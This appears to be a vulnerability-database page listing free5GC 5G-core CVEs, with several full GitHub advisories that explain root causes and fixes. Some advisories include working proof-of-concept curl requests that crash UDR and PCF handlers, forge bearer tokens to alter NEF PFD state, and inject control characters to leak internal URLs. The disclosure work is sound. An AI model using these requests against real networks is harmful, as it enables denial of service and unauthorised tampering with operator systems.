Where
-Infinity
0
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

An issue in the NGAP handler of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted NAS PDU.

First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

An issue in the ModifyAMFEventSubscriptionProcedure function (processor/eventexposure.go) of free5gc v4.1.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted PATCH request.

First published (updated )

An issue in the HandleGetSharedData function of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )
Null Pointer Dereference

A NULL pointer dereference in the CDR processing path of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying crafted payload.

First published (updated )

An issue in the RechargePut function of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )
Null Pointer Dereference

A NULL pointer dereference in the UDMC registration handler component of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via supplying crafted payload.

First published (updated )

An issue in the NAS decoder component of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted Registration Request message.

First published (updated )

An issue in the NF Discovery endpoint of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted snssais query.

First published (updated )
Input Validation

Improper Input Validation in the HTTPModifySubscription handler of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )
Input Validation

Improper input validation in the buildFilter function (processor/processor.go) of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )
Input Validation

Improper input validation in the HandleUpdate function (/sbi/parameterprovision.go) of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )

An issue in the complexQueryFilterSubprocess function in the NRF Discovery service of free5gc v4.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

First published (updated )

An issue in the CreateUEContextProcedure function (/v1/ue-contexts/{supi}) of free5gc v4.1.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted PUT request.

First published (updated )
Severity
2.9
EPSS
0.06%
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C

A vulnerability has been found in Free5GC 4.2.0. The affected element is an unknown function of the component aper. Such manipulation leads to type confusion. The attack may be launched remotely. This attack is characterized by high complexity. The exploitability is described as difficult. The exploit has been disclosed to the public and may be used. The name of the patch is 26205eb01705754b7b902ad6c4b613c96c881e29. It is best practice to apply a patch to resolve this issue.

First published (updated )
Severity
5.5
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

In free5GC 3.2.1, a malformed NGAP message can crash the AMF and NGAP decoders via an index-out-of-range panic in aper.GetBitString.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Null Pointer Dereference
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Summary free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks , ok = UESubsData.EeSubscriptionCollection[subsId] and sets a 404 problem-details on the miss path, but then continues to UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This endpoint requires a valid nudr-dr OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000

Precondition (one authenticated EE-subscription create allocates UE state): go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udrcontext.UESubsData)) value, = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udrcontext.EeSubscriptionCollection)

Vulnerable handler (delete on amf-subscriptions): the ok miss path sets pd but does not return, so the very next line dereferences the nil entry: go , ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTIONNOTFOUND") }

if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTIONNOTFOUND") } When subsId is absent, UESubsData.EeSubscriptionCollection[subsId] is nil, and .AmfSubscriptionInfos panics with runtime error: invalid memory address or nil pointer dereference.

Code evidence (paths in free5gc/udr): - Precondition route + handler (EE-subscription create that allocates UE state): - NFs/udr/internal/sbi/apidatarepository.go:600 - NFs/udr/internal/sbi/apidatarepository.go:602 - NFs/udr/internal/sbi/apidatarepository.go:2528 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:25 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:30 - NFs/udr/internal/sbi/processor/eventexposuresubscriptionscollection.go:38 - Vulnerable delete route + dispatch: - NFs/udr/internal/sbi/apidatarepository.go:2161 - NFs/udr/internal/sbi/apidatarepository.go:2172 - Panic root cause (nil deref): - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:62 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:64 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:69

PoC Reproduced end-to-end against the running UDR at http://10.100.200.11:8000.

1. Restart UDR (clean state): docker restart udr

2. Obtain a valid nudr-dr token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'

3. Create one EE subscription to populate UESubsCollection for ueId=x: curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' \ -H 'Content-Type: application/json' \ --data '{}' HTTP/1.1 201 Created

4. Trigger the panic with a nonexistent subsId: curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' HTTP/1.1 500 Internal Server Error Content-Length: 0

5. UDR container logs (docker logs udr) confirm the nil-pointer panic at eventamfsubscriptioninfodocument.go:69 inside RemoveAmfSubscriptionsInfoProcedure: [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(Processor).RemoveAmfSubscriptionsInfoProcedure .../eventamfsubscriptioninfodocument.go:69 github.com/free5gc/udr/internal/sbi.(Server).HandleRemoveAmfSubscriptionsInfo .../apidatarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the amf-subscriptions delete route after one preparatory POST that allocates UE state for the chosen ueId. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 SUBSCRIPTIONNOTFOUND response would have.

No Confidentiality impact (the response is 500 with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L

Summary The AMF in Free5GC v4.2.1 does not verify the UE Security Capabilities received in NGAP PathSwitchRequest messages against its locally stored values, as mandated by 3GPP TS 33.501 §6.7.3.1. A malicious gNB can overwrite the AMF's stored UE security capabilities with arbitrary values, which are then propagated in PathSwitchRequest Acknowledge messages and subsequent Handover Request messages. This leads to persistent handover denial-of-service for affected UEs.

Details Affected File: amf/internal/ngap/handler.go — handlePathSwitchRequestMain function

Root Cause:

When the AMF receives a PathSwitchRequest during an Xn-handover, it processes the UESecurityCapabilities IE by directly overwriting the stored values without comparing them to the previously stored capabilities:

go if uESecurityCapabilities != nil { amfUe.UESecurityCapability.SetEA11285G(uESecurityCapabilities.NRencryptionAlgorithms.Value.Bytes[0] & 0x80) amfUe.UESecurityCapability.SetEA21285G(uESecurityCapabilities.NRencryptionAlgorithms.Value.Bytes[0] & 0x40) amfUe.UESecurityCapability.SetEA31285G(uESecurityCapabilities.NRencryptionAlgorithms.Value.Bytes[0] & 0x20) amfUe.UESecurityCapability.SetIA11285G(uESecurityCapabilities.NRintegrityProtectionAlgorithms.Value.Bytes[0] & 0x80) amfUe.UESecurityCapability.SetIA21285G(uESecurityCapabilities.NRintegrityProtectionAlgorithms.Value.Bytes[0] & 0x40) amfUe.UESecurityCapability.SetIA31285G(uESecurityCapabilities.NRintegrityProtectionAlgorithms.Value.Bytes[0] & 0x20) }

3GPP TS 33.501 §6.7.3.1 requires three actions, none of which are implemented:

1. Verification (SHALL): "The AMF shall verify that the UE's 5G security capabilities received from the target gNB/ng-eNB are the same as the UE's 5G security capabilities that the AMF has locally stored." → Not implemented. The AMF unconditionally overwrites stored values.

2. Correction (SHALL): "If there is a mismatch, the AMF shall send its locally stored 5G security capabilities of the UE to the target gNB/ng-eNB in the Path-Switch Acknowledge message." → Not implemented. The PathSwitchRequestAcknowledge contains the corrupted values.

3. Logging (SHALL): "The AMF shall support logging capabilities for this event and may take additional measures, such as raising an alarm." → Not implemented. No mismatch detection or logging exists.

Propagation:

The corrupted values are propagated in: - PathSwitchRequestAcknowledge: Contains corrupted UESecurityCapabilities (demonstrated in pcap) - Subsequent HandoverRequest messages: AMF sends corrupted capabilities to target gNBs

Per TS 38.413 §8.4.2.4, if the supported algorithms in the UE Security Capabilities do not match any allowed algorithms configured in the target gNB, the target gNB is required to reject the procedure using a HANDOVER FAILURE message.

PoC Environment: - Free5GC v4.2.1 AMF (Docker container) with full NF stack (NRF, AUSF, UDM, UDR, NSSF, PCF, SMF, UPF) - UERANSIM v3.2.7 gNB with custom inspection-tool extension - tshark for packet capture

Reproduction Steps:

1. Start Free5GC full stack and register a UE through a gNB (NG Setup → Registration → PDU Session Setup).

2. Send a normal HandoverRequired from the gNB. Capture the resulting HandoverRequest from the AMF and confirm nRintegrityProtectionAlgorithms = 0xe000 (NIA1, NIA2, NIA3 all supported). This is the baseline.

3. Send a PathSwitchRequest with nRintegrityProtectionAlgorithms = 0x0000 (all integrity algorithms set to not supported). The AMF responds with PathSwitchRequestAcknowledge.

4. Observe that the PathSwitchRequestAcknowledge contains nRintegrityProtectionAlgorithms = 0x0000 — the corrupted values are propagated back.

Observed Result (from pcap capture):

| Packet | Message | nRintegrityProtectionAlgorithms | |--------|---------|-------------------------------| | #20 | HandoverRequest (AMF→gNB) | 0xe000 (NIA1 ✓ NIA2 ✓ NIA3 ✓) — baseline | | #30 | PathSwitchRequest (gNB→AMF) | 0x0000 — poison | | #47 | PathSwitchRequestAcknowledge (AMF→gNB) | 0x0000 (NIA1 ✗ NIA2 ✗ NIA3 ✗) — corrupted |

Impact Availability (HIGH): A malicious gNB can send a single PathSwitchRequest message to corrupt the AMF's stored UE security capabilities for any UE. All subsequent inter-gNB handovers for the affected UE are expected to fail (per TS 38.413 §8.4.2.4), resulting in denial-of-service that persists until the UE performs a new registration.

Integrity (LOW): The AMF's internal UE security context is corrupted with attacker-controlled values. These corrupted values are propagated to other network elements via PathSwitchRequestAcknowledge and HandoverRequest messages.

Who is impacted: Any deployment using Free5GC as the AMF where a gNB could be compromised or where untrusted gNBs exist (e.g., O-RAN multi-vendor deployments).

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

The AMF in Free5GC v4.2.1 does not enforce the concurrent security procedure rules defined in 3GPP TS 33.501 §6.9.5.1. The AMF does not check for ongoing N2 handover procedures before initiating a NAS Security Mode Command, and vice versa. This can lead to mismatches between NAS and AS security contexts in the network and the UE.

Details

Vulnerability Type: CWE-358 (Improperly Implemented Security Check for Standard)

Affected File: internal/ngap/handler.go — handleHandoverRequiredMain() and internal/gmm/sm.go — SecurityMode()

Root Cause:

3GPP TS 33.501 §6.9.5.1 states:

"Concurrent runs of security procedures may, in certain situations, lead to mismatches between security contexts in the network and the UE. In order to avoid such mismatches, the following rules shall be adhered to: 1. AMF shall not initiate any of the N2 procedures including a new key towards a UE if a NAS Security Mode Command procedure is ongoing with the UE. 2. The AMF shall not initiate a NAS Security Mode Command towards a UE if one of the N2 procedures including a new key is ongoing with the UE."

Free5GC AMF uses an OnGoing state tracking mechanism (SetOnGoing(), GetOnGoing()) with OnGoingProcedureN2Handover type. However, the cross-procedure checks required by §6.9.5.1 are not implemented:

Rule 2 violation: SecurityMode() in internal/gmm/sm.go sends SMC on EntryEvent without checking if N2 handover is ongoing.

Rule 1 violation: handleHandoverRequiredMain() in internal/ngap/handler.go calls SetOnGoing(OnGoingProcedureN2Handover) without checking if SMC is ongoing.

Why NH/NCC and SMC are related:

SMC activates a new KAMF, which changes the basis for NH key derivation. The N2 HandoverRequest includes NH/NCC derived from the old KAMF. If both procedures run concurrently, the target gNB and UE derive different KgNB keys, breaking AS security.

PoC

Source code evidence:

Free5GC AMF internal/gmm/sm.go — SecurityMode(): go func SecurityMode(state fsm.State, event fsm.EventType, args fsm.ArgsType) { switch event { case fsm.EntryEvent: // No check for OnGoing N2 procedure // Directly proceeds to SMC

Free5GC AMF internal/ngap/handler.go — handleHandoverRequiredMain(): go amfUe.SetOnGoing(sourceUe.Ran.AnType, &context.OnGoing{ Procedure: context.OnGoingProcedureN2Handover, }) // No check for ongoing SMC before setting N2

Packet Evidence (pcap available):

| Packet | Time | Message | Description | |--------|------|---------|-------------| | #1 | 0.000s | HandoverRequired | gNBA requests handover | | #18 | 0.002s | HandoverRequest | N2 started (NH/NCC included) | | | | (no response from gNBB) | N2 ongoing | | #28 | 2.062s | Registration request | UE re-registers (same SUPI) | | #63 | 2.069s | Authentication request | | | #64 | 2.070s | Authentication response | | | #71 | 2.072s | Security mode command | SMC during N2 ongoing = Rule 2 violation | NGAPHandover-N2-SMC-Concurrent.zip

Impact

Integrity (MEDIUM): Concurrent NAS and AS security procedures can cause security context mismatches between UE, AMF, and gNB. The SMC activates a new KAMF while the N2 HandoverRequest carries NH/NCC derived from the old KAMF, resulting in KgNB derivation mismatch.

Availability (LOW): Security context mismatch may cause handover failure or security verification failures.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary PCF NpcfSMPolicyControl missing authentication middleware allows unauthenticated access to SM policy handlers and disclosure of subscriber SUPI Details In NewServer(), the smPolicyGroup route group is created and routes are applied without attaching the router authorization middleware. In contrast, other PCF service groups such as NpcfPolicyAuthorization do attach RouterAuthorizationCheck before route registration.

Because the middleware is missing, requests to the following endpoints can reach business logic even when no valid OAuth token is provided:

- POST /npcf-smpolicycontrol/v1/sm-policies - GET /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId} - POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/update - POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/delete

This is visible at runtime because unauthenticated requests return business-level responses such as 400 or 404 instead of being rejected with 401 before handler execution. Under valid lab preconditions (existing UE/session context and related policy data), unauthenticated POST /sm-policies can succeed with 201, and unauthenticated GET /sm-policies/{id} can succeed with 200 and return policy context containing subscriber identifiers including supi.

The root cause is missing router auth enforcement for NpcfSMPolicyControl. Upstream also fixed this by adding RouterAuthorizationCheck to smPolicyGroup (and uePolicyGroup) in free5gc/pcf PR #63.

PoC 1. Deploy free5GC with PCF reachable on the SBI network. 2. Use the PoC against the PCF service without an Authorization header: bash go run /home/ubuntu/free5gc/tools/npcf-smpolicy-noauth-poc/main.go \ --pcf-root /home/ubuntu/free5gc/NFs/pcf \ --pcf-url http://10.100.200.9:8000 \ --timeout 4s Observe that unauthenticated requests to NpcfSMPolicyControl return business responses instead of 401. Impact

This is an authentication/authorization bypass on a network-accessible SBI service. Any unauthenticated actor able to reach the PCF SBI interface can invoke NpcfSMPolicyControl handlers directly.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details.

Affected Package

- Ecosystem: Go - Package: github.com/free5gc/udm - Affected versions: <= v1.4.2 - Patched versions: none yet

Details

The following handlers in internal/sbi/apisubscriberdatamanagement.go do not call validator.IsValidSupi() before passing the supi parameter to the processor:

- HandleGetSmfSelectData — GET /:supi/smf-select-data - HandleGetSupi — GET /:supi - HandleGetTraceData — GET /:supi/trace-data - HandleGetUeContextInSmfData — GET /:supi/ue-context-in-smf-data - HandleGetNssai — GET /:supi/nssai - HandleGetSmData — GET /:supi/sm-data

By contrast, HandleGetAmData in the same file correctly validates the supi parameter:

go // HandleGetAmData — correctly validates (not vulnerable) supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { c.JSON(http.StatusBadRequest, problemDetail) return }

// HandleGetSmfSelectData — missing validation (vulnerable) supi := c.Params.ByName("supi") // ← no validator.IsValidSupi(supi) call s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures)

The malformed supi is passed to the processor which constructs a URL to forward the request to UDR. Go's net/url parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a 500 SYSTEMFAILURE that includes the full internal UDR URL in the detail field.

This is a missed fix of CVE-2026-27642, which applied the same validator.IsValidSupi() check only to internal/sbi/apiueauthentication.go (HandleConfirmAuth and HandleGenerateAuthData), leaving the SDM service handlers unpatched.

Proof of Concept

bash Vulnerable — returns 500 with internal UDR URL exposed curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data" curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data"

Expected (vulnerable) response: HTTP 500 { "title": "System failure", "status": 500, "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL", "cause": "SYSTEMFAILURE" }

Protected endpoint (for comparison) — returns 400 curl "http://<UDMHOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data" HTTP 400 {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORYIEINCORRECT"}

Impact

An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain:

1. Internal UDR hostname and port 2. Full internal API path structure (/nudr-dr/v2/subscription-data/...) 3. UDR API version 4. Internal service naming convention

This information can be used to facilitate further attacks against the UDR or other internal 5G core components.

Recommended Fix

Add validator.IsValidSupi() to all six affected handlers, following the pattern already used in HandleGetAmData:

go supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { problemDetail := models.ProblemDetails{ Title: "Malformed request syntax", Status: http.StatusBadRequest, Detail: "Supi is invalid", Cause: "MANDATORYIEINCORRECT", } c.Set(sbi.INPBDETAILSCTXSTR, http.StatusText(int(problemDetail.Status))) c.JSON(int(problemDetail.Status), problemDetail) return }

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Summary free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.

Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.0 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-pfd-management route group is mounted and reachable with no inbound auth middleware.

Code evidence (paths in free5gc/nef): - Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:52 - Transaction routes exposed at /:scsAsID/transactions and /:scsAsID/transactions/:transID: NFs/nef/internal/sbi/apipfd.go:13 - Create handler still contains // TODO: Authorize the AF: NFs/nef/internal/sbi/processor/pfd.go:70 - POST allocates a new PFD transaction and writes to UDR: NFs/nef/internal/sbi/processor/pfd.go:63 - GET reads transaction state: NFs/nef/internal/sbi/processor/pfd.go:189 - DELETE removes transaction state: NFs/nef/internal/sbi/processor/pfd.go:328 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126

PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

1. Seed an AF context (also accepted with forged token): curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions

2. CREATE PFD transaction with forged token -> 201 Created: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions

3. READ -> 200 OK: curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1

4. DELETE -> 204 No Content: curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1

5. READ again -> 404 PFD transaction not found, confirming state was actually deleted.

NEF container logs (docker logs nef) show the requests reaching business handlers and returning success codes: [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1

Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules.

The PFD-management route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.

Affected: free5gc <=v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running.

The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF NpcfSMPolicyControl route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated.

Details Validated against the PCF container in the official Docker compose lab. - free5GC version: v4.1.0 (originally reported on v4.1.0; same defect present in v4.2.1) - PCF endpoint: http://10.100.200.9:8000

Vulnerable handler path (paraphrased from the captured stack trace): [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.(Processor).HandleCreateSmPolicyRequest /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562 github.com/free5gc/pcf/internal/sbi.(Server).HTTPCreateSMPolicy /go/src/free5gc/NFs/pcf/internal/sbi/apismpolicy.go:86 +0x405

The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct.

Code evidence (paths in free5gc/pcf): - Panic site: - NFs/pcf/internal/sbi/processor/smpolicy.go:82 - Route dispatch: - NFs/pcf/internal/sbi/apismpolicy.go:86

PoC Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

Send a single POST whose dnn is unknown to UDR -- this drives the downstream OpenAPI call to return 404 Not Found, which then triggers the nil-deref panic: curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \ -H 'Content-Type: application/json' \ -d '{ "supi":"imsi-208930000000003", "pduSessionId":1, "dnn":"internet-bad", "sliceInfo":{"sst":1,"sd":"010203"}, "servingNetwork":{"mcc":"208","mnc":"93"}, "accessType":"3GPPACCESS", "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify" }'

Observed response: HTTP 500 Internal Server Error with empty body.

PCF container logs show: [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference ...HandleCreateSmPolicyRequest at smpolicy.go:82...

The Gin recovery middleware catches the panic (the captured stack trace runs inside ginRecover.func2.1), so the PCF process keeps serving other requests; the realized impact is per-request HTTP 500 on this endpoint whenever the downstream lookup fails.

Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled 4xx/5xx ProblemDetails and stop processing.

Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a 404 returns HTTP 500 (with empty body and a stack trace in PCF logs) instead of a controlled error response.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844.

Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present).

Upstream issue: https://github.com/free5gc/free5gc/issues/803 Upstream fix: https://github.com/free5gc/pcf/pull/62

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Null Pointer Dereference
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500.

The trigger is a single valid authenticated request -- changing only suppFeat from "0" to "1" flips the same shape of POST from a normal 201 Created into a panic-driven 500.

This endpoint requires a valid npcf-policyauthorization OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.

